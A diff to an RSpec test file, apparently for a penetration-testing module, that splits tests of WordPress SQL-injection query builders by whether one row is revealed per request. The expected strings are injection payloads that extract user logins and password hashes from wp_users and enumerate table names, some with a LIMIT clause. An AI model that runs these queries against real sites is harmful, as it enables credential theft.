|
23 | 23 | end |
24 | 24 |
|
25 | 25 | describe '#hashdump_sql_statement' do |
26 | | - it 'returns a select statement that will select all user hashes' do |
27 | | - allow(subject).to receive(:hashdump_number_of_cols).and_return(3) |
28 | | - allow(subject).to receive(:hashdump_visible_field_index).and_return(1) |
29 | | - allow(subject).to receive(:table_prefix).and_return('wp_') |
30 | | - allow(subject).to receive(:bof_token).and_return(123) |
31 | | - allow(subject).to receive(:eof_token).and_return(321) |
32 | | - |
33 | | - expected_query = 'select 0,concat(123,0x3a,user_login,0x3a,user_pass,0x3a,321),0 from wp_users' |
34 | | - expect(subject.hashdump_sql_statement).to eq expected_query |
| 26 | + context 'when #reveals_one_row_per_request is false' do |
| 27 | + it 'returns a select statement that will select all user hashes with no limit clause' do |
| 28 | + allow(subject).to receive(:reveals_one_row_per_request).and_return(false) |
| 29 | + allow(subject).to receive(:hashdump_number_of_cols).and_return(3) |
| 30 | + allow(subject).to receive(:hashdump_visible_field_index).and_return(1) |
| 31 | + allow(subject).to receive(:table_prefix).and_return('wp_') |
| 32 | + allow(subject).to receive(:bof_token).and_return(123) |
| 33 | + allow(subject).to receive(:eof_token).and_return(321) |
| 34 | + |
| 35 | + expected_query = 'select 0,concat(123,0x3a,user_login,0x3a,user_pass,0x3a,321),0 from wp_users' |
| 36 | + expect(subject.hashdump_sql_statement).to eq expected_query |
| 37 | + end |
| 38 | + end |
| 39 | + |
| 40 | + context 'when #reveals_one_row_per_request is true' do |
| 41 | + it 'returns a select statement that will select all user hashes with a limit clause' do |
| 42 | + allow(subject).to receive(:reveals_one_row_per_request).and_return(true) |
| 43 | + allow(subject).to receive(:hashdump_number_of_cols).and_return(3) |
| 44 | + allow(subject).to receive(:hashdump_visible_field_index).and_return(1) |
| 45 | + allow(subject).to receive(:table_prefix).and_return('wp_') |
| 46 | + allow(subject).to receive(:bof_token).and_return(123) |
| 47 | + allow(subject).to receive(:eof_token).and_return(321) |
| 48 | + allow(subject).to receive(:current_row).and_return(3) |
| 49 | + |
| 50 | + expected_query = 'select 0,concat(123,0x3a,user_login,0x3a,user_pass,0x3a,321),0 from wp_users limit 3,1' |
| 51 | + expect(subject.hashdump_sql_statement).to eq expected_query |
| 52 | + end |
35 | 53 | end |
36 | 54 | end |
37 | 55 |
|
38 | 56 | describe '#hashdump_prefix_fingerprint_statement' do |
39 | | - it 'returns a select statement that will select all table names in the current database' do |
40 | | - allow(subject).to receive(:hashdump_number_of_cols).and_return(3) |
41 | | - allow(subject).to receive(:hashdump_visible_field_index).and_return(1) |
42 | | - allow(subject).to receive(:bof_token).and_return(123) |
43 | | - allow(subject).to receive(:eof_token).and_return(321) |
44 | | - |
45 | | - expected_query = 'select 0,concat(123,0x3a,table_name,0x3a,321),0 from information_schema.tables where table_schema = database()' |
46 | | - expect(subject.hashdump_prefix_fingerprint_statement).to eq expected_query |
| 57 | + context 'when #reveals_one_row_per_request is false' do |
| 58 | + it 'returns a select statement that will select all table names in the current database' do |
| 59 | + allow(subject).to receive(:reveals_one_row_per_request).and_return(false) |
| 60 | + allow(subject).to receive(:hashdump_number_of_cols).and_return(3) |
| 61 | + allow(subject).to receive(:hashdump_visible_field_index).and_return(1) |
| 62 | + allow(subject).to receive(:bof_token).and_return(123) |
| 63 | + allow(subject).to receive(:eof_token).and_return(321) |
| 64 | + |
| 65 | + expected_query = 'select 0,concat(123,0x3a,table_name,0x3a,321),0 from information_schema.tables where table_schema = database()' |
| 66 | + expect(subject.hashdump_prefix_fingerprint_statement).to eq expected_query |
| 67 | + end |
| 68 | + end |
| 69 | + |
| 70 | + context 'when #reveals_one_row_per_request is true' do |
| 71 | + it 'returns a select statement that will select all table names in the current database with a limit clause' do |
| 72 | + allow(subject).to receive(:reveals_one_row_per_request).and_return(true) |
| 73 | + allow(subject).to receive(:hashdump_number_of_cols).and_return(3) |
| 74 | + allow(subject).to receive(:hashdump_visible_field_index).and_return(1) |
| 75 | + allow(subject).to receive(:bof_token).and_return(123) |
| 76 | + allow(subject).to receive(:eof_token).and_return(321) |
| 77 | + allow(subject).to receive(:current_row).and_return(3) |
| 78 | + |
| 79 | + expected_query = 'select 0,concat(123,0x3a,table_name,0x3a,321),0 from information_schema.tables where table_schema = database() limit 3,1' |
| 80 | + expect(subject.hashdump_prefix_fingerprint_statement).to eq expected_query |
| 81 | + end |
47 | 82 | end |
48 | 83 | end |
49 | 84 | end |
0 commit comments